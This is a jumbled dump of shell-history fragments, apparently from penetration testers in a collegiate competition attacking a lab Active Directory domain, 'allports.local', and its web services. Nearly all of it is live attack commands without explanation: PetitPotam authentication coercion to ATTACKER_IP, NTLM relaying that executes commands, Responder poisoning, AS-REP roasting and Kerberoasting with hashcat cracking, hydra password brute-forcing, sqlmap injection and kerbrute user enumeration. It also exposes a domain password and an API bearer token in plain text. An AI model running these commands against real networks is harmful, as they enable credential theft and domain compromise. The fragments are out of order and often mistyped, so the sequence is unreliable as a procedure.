python3 PetitPotam.py -u LOWPRIV_USER -p 'PASSWORD' ATTACKER_IP DC_IP
cd /usr/lib/python3/dist-packages/impacket/
ls
sudo find / -name "PetitPotam.py" 2>/dev/null
cd         /usr/lib/python3/dist-packages/impacket/
ls
python3 PetitPotam.py -u LOWPRIV_USER -p 'PASSWORD' ATTACKER_IP DC_IP


_raw: : 1762018849:0;gobuster dir --url http://10.0.1.99 --wordlist /usr/share/wordlists/dirb/common.txt


_raw: : 1762018843:0;gobuster dir --url http://10.0.1.99 --wordlist /usr/share/wordlists/dirb/catala.txt


_raw: : 1762018813:0;gobuster dir --url http://10.0.1.14 --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt --delay 50ms -o 10.0.1.14_80_gobust_results.txt


_raw: : 1762018813:0;nxc ldap 10.0.1.6 -u users.txt -p '' --asreproast userhash.txt


_raw: : 1762018800:0;gobuster dir --url http://10.0.1.99 --wordlist /usr/share/wordlists/dirb/big.txt


_raw: : 1762018793:0;python3 -m impacket.examples.GetUserSPNs -dc-ip 10.0.1.6 allports.local/forend


_raw: : 1762018735:0;gobuster dir --url http://10.0.1.99 --wordlist /usr/share/wordlists/dirb/common.txt


_raw: : 1762018728:0;GetUserSPNs.py -dc-ip 10.0.1.6 allports.local/forend


_raw: : 1762018728:0;gobuster dir --url http://10.0.1.99 /usr/share/wordlists/dirb/common.txt


_raw: : 1762018722:0;sudo apt install impacket-scripts


_raw: : 1762018712:0;./kerbrute userenum -d allports.local --dc 10.0.1.6 users.txt -t 100


_raw: : 1762018707:0;docker run -d -p 443:443 --name openvas mikesplain/openvas


_raw: : 1762018701:0;GetUserSPNs.py -dc-ip 10.0.1.6 allports.local/forend


_raw: : 1762018698:0;sudo apt install python3-impacket


_raw: : 1762018676:0;nxc ldap 10.0.1.6 -u users.txt -p '' --asreproast userhash.txt


_raw: : 1762018658:0;nxc smb 10.0.1.6 -u users.txt -p '' --asreproast userhash.txt


_raw: : 1762018642:0;hashcat -m 13100 kerberoast.txt /usr/share/wordlists/rockyou.txt --force\


_raw: : 1762018641:0;nxc smb 10.0.1.6 -u users.txt --asreproast userhash.txt


_raw: : 1762018628:0;hashcat -m 13100 kerberoast.txt /usr/share/wordlists/rockyou.txt --force\


_raw: : 1762018622:0;hashcat -m 31300 hash /usr/share/wordlists/rockyou.txt


_raw: : 1762018614:0;nxc smb 10.0.1.6 -u users.txt --asreproasting userhash.txt


_raw: : 1762018601:0;impacket-GetUserSPNs allports.local/rdavis:rosdav50 -dc-ip 10.0.1.6 -request -outputfile kerberoast.txt\


_raw: : 1762018584:0;GetUserSPNs.py -dc-ip 10.0.1.6 allports.local/forend


_raw: : 1762018575:0;gobuster dir http://10.0.1.99 /usr/share/wordlists/dirb/common.txt


_raw: : 1762018573:0;hashcat -a 0 hash /usr/share/wordlists/rockyou.txt


_raw: : 1762018569:0;hashcat - a 0 hash /usr/share/wordlists/rockyou.txt


_raw: : 1762018557:0;impacket-GetNPUsers allports.local/rdavis:rosdav50 -dc-ip 10.0.1.6 -request -format hashcat -outputfile asrep.txt\


_raw: : 1762018544:0;impacket-GetNPUsers allports/rdavis:rosdav50 -dc-ip 10.0.1.6 -request -format hashcat -outputfile asrep.txt\


_raw: : 1762018537:0;GetUserSPNs.py -dc-ip 10.0.1.6 allports.local/forend


_raw: : 1762018495:0;ffuf -u https://10.0.1.14/ -H "Host: FUZZ.allports.tours" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -k\


_raw: : 1762018494:0;gobuster dir --url http://10.0.1.11 --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt --delay 50ms -o url_gobust_results.txt --exclude-length 4831


_raw: : 1762018483:0;gobuster dir --url http://10.0.1.11 --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt --delay 50ms -o url_gobust_results.txt -4831 4831


_raw: : 1762018475:0;impacket-GetNPUsers allports.local/rdavis:rosdav50 -dc-ip 10.0.1.6 -request -format hashcat -outputfile asrep.txt\


_raw: : 1762018471:0;GetUserSPNs.py -dc-ip 10.0.1.6 allports.local/forend


_raw: : 1762018468:0;sudo apt install impacket-scripts -y


_raw: : 1762018463:0;gobuster dir --url http://10.0.1.11 --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt --delay 50ms -o url_gobust_results.txt -hl 4831


_raw: : 1762018459:0;gobuster dir --url http://10.0.1.11 --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt --delay 50ms -o url_gobust_results.txt -hc 4831


_raw: : 1762018452:0;gobuster dir --url http://10.0.1.11 --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt --delay 50ms -o url_gobust_results.txt --hide-length 4831


_raw: : 1762018437:0;GetUserSPNs.py -dc-ip 10.0.1.6 allports.local/forend


_raw:
ls
cat password.txt
curl prod.allports.local
ls
cd Downloads
ls
file silence.mp3
strings silence.mp3
binwalk silence.mp3
man binwalk
binwalk -e silence.mp3
ls
unzip silence.mp3
ls
exiftool silence.mp3


_raw: : 1762018404:0;gobuster dir --url http://10.0.1.11 --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt --delay 50ms -o url_gobust_results.txt -b 200


_raw:
: 1762018385:0;sqlmap -u bb-a173.rooms.allports.tours/services.html --headers="Content-Type: application/json" --data='{\
        "id": 1,\
        "roomID": 2,\
        "roomDisplay": "bb-a173",\
        "serviceOptionID": 1,\
        "notes": "*",\


_raw: : 1762018368:0;gobuster dir --url http://10.0.1.11 --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt --delay 50ms -o url_gobust_results.txt -hc 200


_raw:
: 1762018355:0;sqlmap -u bb-a173.rooms.allports.tours/services/html --headers="Content-Type: application/json" --data='{\
        "id": 1,\
        "roomID": 2,\
        "roomDisplay": "bb-a173",\
        "serviceOptionID": 1,\
        "notes": "*",\


_raw: : 1762018349:0;mv University-of-California-Irvine teamscripts


_raw:
Get-ExploitableSystem
help
--help
man
man powersploit


_raw:
: 1762018312:0;sqlmap -u http://bb-a173.rooms.allports.tours/services/html --headers="Content-Type: application/json" --data='{\
        "id": 1,\
        "roomID": 2,\
        "roomDisplay": "bb-a173",\
        "serviceOptionID": 1,\
        "notes": "*",\


_raw: : 1762018269:0;gobuster dir --url https://10.0.1.11 --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt --delay 50ms -o url_gobust_results.txt


_raw:
: 1762018261:0;sqlmap -u http://bb-a173.allports.tours/services/html --headers="Content-Type: application/json" --data='{\
        "id": 1,\
        "roomID": 2,\
        "roomDisplay": "bb-a173",\
        "serviceOptionID": 1,\
        "notes": "*",\


_raw:
dig *.rooms.allports.tours
curl -I https://something.rooms.allports.tours
clear
ls
clear
nmap -A -p- 10.0.1.0/24
clear
nmap -A -p- 10.0.1.99
mysql -h 10.0.1.99 -P 3306 -u root -p\
mysql -h 10.0.1.99 -P 3306 -u root -p --ssl-mode=DISABLED
mysql -h 10.0.1.99 -P 3306 -u root -p --ssl-verify-server-cert
mysql -h 10.0.1.99 -P 3306 -u admin -p --ssl-verify-server-cert
mysql -h 10.0.1.99 -P 3306 -u admin -p
ssh admin@10.0.1.99
mysql -h 10.0.1.99 -P 3306 -u admin -p --ssl-mode=DISABLED
mysql -h 10.0.1.99 -P 3306 -u admin -p --ssl=0
mysql -h 10.0.1.99 -P 3306 -u root -p --ssl=0
sudo nano /etc/host
sudo nano /etc/hosts
clear


_raw: : 1762018183:0;cp scanbetter /home/pentester/sca


_raw: : 1762018181:0;cp scanbetter /home/pentester/sc


_raw: : 1762018173:0;cp /home/pentester/scanbetter aaaa


_raw: : 1762018164:0;gobuster dir --url http://10.0.1.11 --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt --delay 50ms -o url_gobust_results.txt


_raw: : 1762018157:0;cp /home/pentester/scanbetter sc


_raw: : 1762018134:0;cp scanbetter /home/pentester/scanbetter


_raw: : 1762018087:0;git clone https://github.com/nationalcptc-teamtools/Cal-Poly-Pomona.git


_raw:
: 1762018050:0;curl 'http://bb-a173.rooms.allports.tours/api/services/open' \\
  -H 'Accept: */*' \\
  -H 'Accept-Language: en-US,en;q=0.9' \\
  -H 'Proxy-Connection: keep-alive' \\
  -H 'Referer: http://bb-a173.rooms.allports.tours/services.html' \\
  -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36' \\
  --insecure


_raw: : 1762018004:0;echo "dGFidWxhcl9zZWFyY2g=" | base64 -d


_raw: : 1762018000:0;tmux source-file /root/.tmux.conf


_raw: : 1762017981:0;git clone https://github.com/nationalcptc-teamtools/University-of-California-Irvine.git


_raw:
nxc smb 10.0.1.0/24
msfconsole
git clone https://github.com/cddmp/enum4linux-ng.git
ls
cat password.txt
clear
ls
cd enum4linux-ng
ls
python enum4linux-ng.py
python enum4linux-ng.py 10.0.1.6
python enum4linux-ng.py 10.0.1.6 --help
python enum4linux-ng.py 10.0.1.6 -U
python enum4linux-ng.py 10.0.1.6 --help
python enum4linux-ng.py 10.0.1.6 -u guest
ldeep


_raw:
        "requestedAt": "2025-11-01T17:25:55Z",\
        "completedAt": null,\
        "completedBy": null,\
        "serviceName": "Room Cleaning"\
    }'


_raw:
        "requestedAt": "2025-11-01T17:25:55Z",\
        "completedAt": null,\
        "completedBy": null,\
        "servi\


_raw: : 1762017946:0;ldapsearch -H ldap://10.0.1.6 -D "guest@allports" -w '' -b "DC=allports,DC=local" "(objectClass=*)"


_raw: : 1762017899:0;git clone https://github.com/nationalcptc-teamtools/Cal-Poly-Pomona


_raw: : 1762017862:0;cp scan /home/pentester/Desktop/sc


_raw: : 1762017853:0;ldapsearch -H ldap://10.0.1.6 -D "guest@allports" -w '' -b "DC=allports,DC=local" "(objectClass=*)" distinguishedName


_raw: : 1762017792:0;ldapsearch -H ldap://10.0.1.6 -b "DC=allports,DC=local" "(objectClass=*)" distinguishedName


_raw: : 1762017719:0;tmux source-file /root/.tmux.conf


_raw: : 1762017701:0;git clone https://github.com/nationalcptc-teamtools/University-of-California-Irvine.git


_raw: : 1762017629:0;sudo apt install docker.io


_raw: : 1762017623:0;sudo apt install docke.rio


_raw: : 1762017618:0;sudo systemctl start docker.io


_raw: : 1762017563:0;sudo nmap -A -iL targets.txt -oA host-enum-full


_raw: : 1762017554:0;impacket-ntlmrelayx -smb2support -t smb://10.0.1.6 -c 'whoami /all' -remove-target -debug


_raw: : 1762017525:0;tmux source-file /root/.tmux.conf


_raw: : 1762017524:0;impacket-ntlmrelayx -smb2support -t smb://10.0.1.6 -c 'whoami /all' -debug


_raw: : 1762017522:0;tmux source-file /root/.tmux.conf


_raw: : 1762017504:0;sudo systemctl restart docker.io


_raw: : 1762017503:0;sudo systemctl restart docker


_raw: : 1762017501:0;git clone https://github.com/nationalcptc-teamtools/University-of-California-Irvine.git


_raw: : 1762017498:0;git clone http://github.com/nationalcptc-teamtools/University-of-California-Irvine.git


_raw: : 1762017456:0;git clone https://gitlab.com/invuls/pentest-projects/pcf


_raw: : 1762017374:0;tmux source-file /root/.tmux.conf


_raw: : 1762017352:0;tmux source-file /root/.tmux.conf


_raw: : 1762017343:0;git clone https://github.com/nationalcptc-teamtools/University-of-California-Irvine.git


_raw: : 1762017334:0;git clone https://github.com/nationalcptc-teamtools/University-of-California-Irvine/


_raw:
dig 10.0.1.99
dig 10.0.1.99 ANY
cd Documents
cat initial
cat initialEnum.txt
nc 10.0.1.11 7700
dig rooms.allports.tours
dig rooms.allports.tours ANY
dig allports.tours
dig allports.tours ANY
dig allports.tours TXT
dig rooms.allports.tours TXT
bloodhound
sudo neo4j start
bloodhound
vim /etc/bhapi/bhapi.json
sudo vim /etc/bhapi/bhapi.json
bloodhound
bloodhound-cli
sudo apt install bloodhound-cli
bloodhound
sudo apt install bloodhound neo4j -y
sudo neo4j console\
sudo apt install -y docker.io docker-compose
sudo systemctl enable docker --now
mkdir /opt/bloodhoundce\
cd /opt/bloodhoundce\
sudo wget -q -O docker-compose.yml https://ghst.ly/getbhce\
sudo mkdir /opt/bloodhoundce\
cd /opt/bloodhoundce\
sudo wget -q -O docker-compose.yml https://ghst.ly/getbhce\
sudo wget -q -O docker-compose.yml https://ghst.ly/getbhce\
sudo vim docker-compose.yml
sudo docker-compose -f /opt/bloodhoundce/docker-compose.yml up -d\
sudo docker logs bloodhoundce-bloodhound-1 2>&1 | grep "Initial Password Set To:"\
bloodhound -h
sudo apt remove bloodhound
bloodhound
sudo vim /etc/bhapi/bhapi.json
bloodhound --reset-password
sharphound


_raw:
mysql 10.0.1.15 3306
mysql -h 10.0.1.15 -P 3306
mysql -u admin -h 10.0.1.15 -P 3306
mysql -u user -h 10.0.1.15 -P 3306
mysql -u -h 10.0.1.15 -P 3306
mysql -u -h 10.0.1.99 -P 3306
mysql -u admin -h 10.0.1.99 -P 3306
mysql -u admin -p admin -h 10.0.1.99 -P 3306
mysql -u user -p admin -h 10.0.1.99 -P 3306
mysql -u admin -p admin -h 10.0.1.99 -P 3306
mysql -u admin -p -h 10.0.1.99 -P 3306
cd /usr/share/sharphound
pip install bloodhound
pip install bloodhound --break-sysytem-packages
git clone https://github.com/dirkjanm/BloodHound.py
cd ~/Documents
git clone https://github.com/dirkjanm/BloodHound.py
cd BloodHound.py
pip install .
sudo apt install python3-bloodhound
sudo apt install python3-bloodhound.py
pip install . --break-system-packages
bloodhound.py
python3 bloodhound
python3 bloodhound APT-DC-01.allports.local
python3 bloodhound @APT-DC-01.allports.local
python3 bloodhound REDACTED_EMAIL
python3 bloodhound -d APT-DC-01.allports.local
python3 bloodhound -d allports.local
python3 bloodhound -u REDACTED_EMAIL
python3 bloodhound -u REDACTED_EMAIL
python3 bloodhound -u REDACTED_EMAIL -no-pass
python3 bloodhound -u REDACTED_EMAIL -k -no-pass
python3 bloodhound -u guest -d allports.local -k -no-pass
python3 bloodhound -u guest -d allports.local -c All -k -no-pass -ns 10.0.1.6
python3 bloodhound -d allports.local -c All -k -no-pass -ns 10.0.1.6
python3 bloodhound -u admin -d allports.local -c All -k -no-pass -ns 10.0.1.6
python3 bloodhound -u admin -d allports.local -c All -k -no-pass -ns 10.0.1.20
python3 bloodhound -u guest -d allports.local -c All -k -no-pass -ns 10.0.1.20


_raw:
pwd
cd Documents
nmap -v -sC 10.0.1.0/24 -T 3 -oN ./initialEnum.txt
cat initialEnum.txt
nmap -v -sC 10.0.1.0/24 -T -p- 3 -oN ./initialEnum.txt
nmap -v -sC 10.0.1.0/24 -T 3 -p- -oN ./initialFullEnum.txt
nmap -h
nmap -v -O 10.0.1.0/24 -T 3 -oN ./osEnum.txt
nc 10.0.1.15:8090
nc 10.0.1.15 8090
nc 10.0.1.15 8080
nmap -v -sC chat.allports.tours -T 3 -p-
smbmap 10.0.1.21
smbmap -H 10.0.1.21
smbmap -H 10.0.1.6
smbmap -H 10.0.1.20
smbmap -H 10.0.1.20 -L


_raw: : 1762017304:0;git clone https://github.com/nationalcptc-teamtools/Cal-Poly-Pomona


_raw: : 1762017301:0;git clone https://github.com/nationalcptc-teamtools/Cal-Poly-Pomona.git


_raw:
cherrynotes
cherrynotes-ng
ls
ip a
nmap 10.0.1.26
nmap 10.0.1.20
smbclient -L //10.0.1.26
smbclient -L //10.0.1.20
netexec smb 10.0.1.20
ls
ldapsearch
enum4linux 10.0.1.20
ls
nmap 10.0.1.20 -p-
nmap 10.0.1.20 -sV -p 49664
nmap 10.0.1.20 -sV -p 49665
ls
nmap 10.0.1.99
ssh 10.0.1.99
ssh admin@10.0.1.99
curl 10.0.1.99
curl 10.0.1.99:80
nmap -sC -sV 10.0.1.99
ls
ssh admin@10.0.1.99
enum4linux 10.0.1.99
cleaclear
clear
sudo responder -I ALL
ip a
sudo responder -I eth0
ip a
nano


_raw: : 1762017223:0;impacket-ntlmrelayx -smb2support -t smb://10.0.1.20 -c 'whoami /all' -debug


_raw: : 1762017175:0;impacket-ntlmrelayx -smb2support -t smb://10.0.1.6 -c 'whoami /all' -debug


_raw: : 1762017159:0;dirb http://bb-b143.rooms.allports.tours/ /usr/share/wordlists/dirb/big.txt


_raw: : 1762017024:0;feroxbuster -u http://10.0.1.14:5001 -t 10 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x "txt,html,php,asp,aspx,jsp" -v -k -n -e -r -o /root/loot/results/10.0.1.14/scans/tcp80/tcp_80_http_feroxbuster_dirbuster.txt


_raw: : 1762016918:0;find EfsRpcAddUsersToFile /


_raw: : 1762016836:0;feroxbuster -u http://10.0.1.14:80 -t 10 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x "txt,html,php,asp,aspx,jsp" -v -k -n -e -r -o /root/loot/results/10.0.1.14/scans/tcp80/tcp_80_http_feroxbuster_dirbuster.txt


_raw: : 1762016820:0;[200~eroxbuster -u http://10.0.1.14:80 -t 10 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x "txt,html,php,asp,aspx,jsp" -v -k -n -e -r -o /root/loot/results/10.0.1.14/scans/tcp80/tcp_80_http_feroxbuster_dirbuster.txt


_raw: : 1762016549:0;sudo ntpdate allports.local


_raw:
ifconfig
nmap -p- 10.0.1.6
nmap -sV 10.0.1.6
nmap -sV 10.0.1.20
sudo apt install sploitscan
sploitscan
sploitscan CVE-2024-6387
sploitscan CVE-2025-26465
wget http://10.0.1.11/api/config
sudo apt install trufflehog
ls
cat config
trufflehog filesystem config --json
ls
wget http://10.0.1.11/login
ls
trufflehog filesystem login --json
dirsearch
sudo diresearch -u http://10.0.1.11/login
sudo dirsearch -u http://10.0.1.11/login
ls
cd reports
ls
cd http_10.0.1.11
ls
ls -a
cat _login_25-11-01_12-47-55.txt
ls -A
ls -la
nano _login_25-11-01_12-47-55.txt


_raw:
gobuster dir -u 10.0.1.14:5001 /usr/share/dirbuster/directory-list-2.3-medium.txt
gobuster dir -u 10.0.1.14:5001 /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
gobuster dir -u 10.0.1.14:5001 /usr/share/wordlist/dirbuster/directory-list-2.3-medium.txt
gobuster dir -u 10.0.1.14:5001 -w  /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
gobuster dir -u http://10.0.1.14:5001 -w  /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
sudo gobuster dir -u http://10.0.1.14:5001 -w  /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
vim etx/hosts
ls
cd /
ls
cd etx
cd etc
sudo vim hosts
vim hosts


_raw:
gobuster dir -u http://10.0.1.30:8096 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
vim etc/hosts/
cd etc
ls
cd /
ls
cd etc
vim hosts
sudo vim hosts


_raw:
nmap -A 10.0.254.207
curl http://bb-b143.rooms.allports.tours/


_raw: : 1762015508:0;impacket-lookupsid 'guest'@10.0.1.6 -no-pass


_raw: : 1762015503:0;impacket-lookupsid 'guest'@10.0.1.6 -no-pass | grep 'SidTypeUser'


_raw: : 1762015483:0;impacket-lookupsid 'guest'@10.0.1.6 -no-pass | grep 'SidTypeUser' | sed 's/.*\\\(.*\) (SidTypeUser)/\1/'


_raw: : 1762015472:0;impacket-lookupsid 'allports.local/guest'@10.0.1.6 -no-pass | grep 'SidTypeUser' | sed 's/.*\\\(.*\) (SidTypeUser)/\1/'


_raw: : 1762015339:0;nxc ldap "domain_controller" -d "allports.local" -u "" -p "" -M maq


_raw: : 1762015334:0;nxc ldap "domain_controller" -d "allports.local" -u "guest" -p "" -M maq


_raw:
ifconfig
clear
nxc rdp 10.0.1.20 -u 'guest' -p ''
nxc rdp 10.0.1.21 -u 'guest' -p ''
nxc winrm 10.0.1.20 -u 'guest' -p ''
nxc winrm 10.0.1.21 -u 'guest' -p ''
clear
cd Downloads
firefox notes.html
rpcclient -U "" -N 10.0.1.20
rpcclient -U "" -N 10.0.1.21
rpcclient -U "" -N 10.0.1.6
clear
enum4linux -a 10.0.1.20
clear
sudo apt install enum4linux-ng
clear
enum4linux-ng -h
clear
enum4linux-ng -A 10.0.1.20
clear
enum4linux-ng -A 10.0.1.21
clear
enum4linux-ng -A 10.0.1.6
clear
impacket-GetNPUsers -request -dc-ip 10.0.1.6 -usersfile /usr/share/seclists/Usernames/xato-net-10-million-usernames-dup.txt allports.local/ -no-pass
clear
sudo vim /etc/hosts
clear
impacket-GetNPUsers -request -dc-ip 10.0.1.6 -usersfile /usr/share/seclists/Usernames/xato-net-10-million-usernames-dup.txt allports.local/ -no-pass
clear
impacket-GetNPUsers -request -dc-ip 10.0.1.6 -usersfile /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt allports.local/ -no-pass
clear
mysql -h 10.0.1.15 -u mysql -p mysql


_raw: : 1762015287:0;cat nmap | grep -i librechat


_raw: : 1762015256:0;ldeep ldap -u 'guest' -p '' -d "allports.local" -s ldap://10.0.1.6 all "ldeepdump/allports.local"


_raw: : 1762015247:0;feroxbuster -u http://10.0.1.6:47001 -t 10 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x "txt,html,php,asp,aspx,jsp" -v -k -n -e -r -o /root/loot/results/10.0.1.6/scans/tcp47001/tcp_47001_http_feroxbuster_dirbuster.txt


_raw: : 1762015241:0;eroxbuster -u http://10.0.1.6:47001 -t 10 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x "txt,html,php,asp,aspx,jsp" -v -k -n -e -r -o /root/loot/results/10.0.1.6/scans/tcp47001/tcp_47001_http_feroxbuster_dirbuster.txt


_raw: : 1762015240:0;ldeep ldap -u '' -p '' -d "allports.local" -s ldap://10.0.1.6 all "ldeepdump/allports.local"


_raw: : 1762015138:0;impacket-ntlmrelayx -smb2support -t smb://10.0.1.21 -c 'whoami /all' -debug


_raw:
nmap -p- --min-rate=1000 -T4 TARGET -oN tcp_scan.txt
git clone https://github.com/nationalcptc-teamtools/Northeastern-University.git
nmap -p- --min-rate=1000 -T4 TARGET -oN tcp_scan.txt
ls
cd Northeastern-University
ls
ifconfig
nmap -sn 10.10.10.0/24 -oG live_hosts.txt
nmap -sn 10.0.254.204 -oG live_hosts.txt
nmap -sn 10.0.254.0/24 -oG live_hosts.txt
nmap -sn 10.10.10.0/24 -oG live_hosts.txt
grep "Up" live_hosts.txt | cut -d' ' -f2 > targets.txt
ls
wc -l targets.txt
cat targets.txt
nmap -iL targets.txt -oA quick_scan
nmap -sn 10.0.254.204/24 -oG live_hosts.txt
grep "Up" live_hosts.txt | cut -d' ' -f2 > targets.txt
wc -l targets.txt
nmap -iL targets.txt -oA quick_scan
nmap -p- --script vuln-safe 10.0.254.105
ls
ifconfig
nmap -iL targets.txt -oA quick_scan
nmap -sn 10.10.10.0/24 -oG live_hosts.txt
nmap -sn 10.0.1.0/24 -oG live_hosts.txt
grep "Up" live_hosts.txt | cut -d' ' -f2 > targets.txt
wc -l targets.txt
nmap -iL targets.txt -oA quick_scan


_raw:
# Using nmap\
nmap -p 3306 -sV 10.0.1.14
nmap -sV -p 5001 10.0.1.14
nmap -sV -p5001 10.0.1.14
gobuster dir -u http://10.0.1.14 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50 -x php,html,txt,pdf
nmap -p- --script vuln-safe 10.0.1.20
netexec smb 10.0.1.20 -u '' -p ''
netexec smb TARGET -u 'guest' -p ''
netexec smb 10.0.1.20 -u 'guest' -p ''
netexec smb 10.0.1.20 -u '' -p ''
netexec smb 10.0.1.0/24 --gen-relay-list relay_targets.txt
cd ..
netexec smb 10.0.1.0/24 --gen-relay-list relay_targets.txt
enum4linux-ng TARGET -A -C
enum4linux-ng 10.0.1.6 -A -C
enum4linux 10.0.1.6 -A -C


_raw: : 1762015028:0;mysql -h BB-A173.rooms.allports.tours -u root -p --skip-ssl


_raw: : 1762015023:0;mysql -h BB-A173.rooms.allports.tours -u root -p


_raw:
: 1762014965:0;curl -X 'GET' \\
  'http://10.0.1.11:8000/ids' \\
  -H 'accept: application/json' -H 'Authorization: Bearer 47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU='


_raw:
: 1762014954:0;curl -X 'GET' \\
  'http://10.0.1.11:8000/ids' \\
  -H 'accept: application/json' -H "Authorization: Bearer 47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU="


_raw: : 1762014925:0;curl -x http://BB-A173.rooms.allports.tours:8080 http://ifconfig.me\


_raw: : 1762014912:0;./kerbrute userenum -d allports.local --dc 10.0.1.6 users.txt -t 100


_raw: : 1762014911:0;curl -sS http://BB-A173.rooms.allports.tours/api/v0/add -I


_raw: : 1762014906:0;curl -sS http://BB-A173.rooms.allports.tours/api/v0/version


_raw: : 1762014902:0;curl -sS http://BB-A173.rooms.allports.tours/api/v0/id\


_raw: : 1762014897:0;sudo nmap -p- -sS -T4 -Pn --min-rate 5000 --max-retries 1 --defeat-rst


_raw: : 1762014884:0;gobuster dir -u http://BB-A173.rooms.allports.tours -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt


_raw: : 1762014880:0;./kerbrute userenum -d allports.local --dc 10.0.1.6 users.txt -t 100


_raw:
: 1762014842:0;sudo nmap -p- -sS -T4 -Pn --min-rate 5000 --max-retries 1 --defeat-rst-ratelimit \\
  -oA tcp-all-ports 10.0.1.14


_raw:
: 1762014823:0;sudo nmap -sV -sC -O --version-all -Pn \\
  -p "$(grep -oP '\d+/open/tcp' tcp-all-ports.gnmap | cut -d/ -f1 | sort -n | tr '\n' ',' | sed 's/,$//')" \\
  -oA tcp-all-ports-deep 10.0.1.14


_raw: : 1762014819:0;curl -sS http://BB-A173.rooms.allports.tours/dashboard


_raw: : 1762014814:0;curl -sS http://BB-A173.rooms.allports.tours/traefik


_raw: : 1762014808:0;curl -sS http://BB-A173.rooms.allports.tours/api


_raw: : 1762014800:0;curl -sS http://BB-A173.rooms.allports.tours/.well-known/security.txt


_raw: : 1762014719:0;hydra -l admin -P /usr/share/wordlists/rockyou.txt http-get://10.0.1.11:8081


_raw: : 1762014661:0;./kerbrute userenum -d allports.local --dc 10.0.1.6 bailey.finn -t 100 -h


_raw: : 1762014654:0;./kerbrute userenum -d allports.local --dc 10.0.1.6 bailey.finn -t 100


_raw: : 1762014650:0;./kerbrute userenum -d allports.local --dc 10.0.1.6 bailey.finn-t 100


_raw: : 1762014634:0;./kerbrute userenum -d allports.local --dc 10.0.1.6 bailey.finn-t 100


_raw: : 1762014567:0;hydra -l admin -P /usr/share/wordlists/rockyou.txt http-auth://10.0.1.11:8081


_raw: : 1762014563:0;hydra -l admin -P /usr/share/wordlists/rockyou.txt http-basic-auth://10.0.1.11:8081


_raw: : 1762014557:0;hydra -l admin -P /usr/share/wordlists/rockyou.txt http://10.0.1.11:8081/


_raw:
ls
cat password.txt
ping 10.0.1.11
ffuf -w /usr/share/wordlists/wfuzz/webservices/ws- -u http://10.0.1.11./login/FUZZ
ffuf -w /usr/share/wordlists/wfuzz/webservices/ws- -w http://10.0.1.11./login/FUZZ -e .aspx,html -mc 200,302
ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -w http://10.0.1.11./login/FUZZ -e .aspx,html -mc 200,302
ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://10.0.1.11./login/FUZZ -e .aspx,html -mc 200,302
ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://10.0.1.11./FUZZ -e .aspx,html -mc 200,302
ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://10.0.1.11./FUZZ
dirbuster -u http://10.0.1.11/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
dirbuster dir -u http://10.0.1.11/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://10.0.1.11/FUZZ
ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://10.0.1.11/FUZZ -fw 629
ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://10.0.1.11:8000/FUZZ
ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://10.0.1.11:8000/FUZZ -fw 5


_raw: : 1762014539:0;gzip -d /usr/share/wordlists/rockyou.txt.gz


_raw:
ping 10.0.1.14
nmap -sC -sV 10.0.1.14
nmap -sC -sV 10.0.1.14 -p-
clear
feroxbuster -v
feroxbuster
feroxbuster -h
cd/usrs
cd /usr
ls
cd share
ls
cd dirbuster
ls
cd wordlists
ls
feroxbuster -u "http://10.0.1.14:5001" -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
feroxbuster -u "http://10.0.1.14:5001"
ffuf
ffuf -u http://10.0.1.14/


_raw:
dig allports.tours
whois allports.tours
dig Penny.allports.local
nmap -T4 -A penny.allports.local
sudo apt install feroxbuster
feroxbuster -u http://10.0.1.11
feroxbuster -u http://10.0.1.11:8081
feroxbuster -u http://10.0.1.11:8080
feroxbuster -u http://10.0.1.11:8045


_raw: : 1762014147:0;dirb http://10.0.1.14:5001/api /usr/share/wordlists/dirb/big.txt


_raw: : 1762014134:0;dirb http://10.0.1.14:5001/api /usr/share/wordlists/dirb/common.txt


_raw: : 1762014121:0;dirb http://10.0.1.14:5001 /usr/share/wordlists/dirb/common.txt


_raw: : 1762014096:0;gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -u "http://10.0.1.14:5001"


_raw: : 1762013978:0;nmap -sn rooms.allports.tours


_raw: : 1762013941:0;sudo apt install enum4linux-ng


_raw:
ldapdomaindump -h
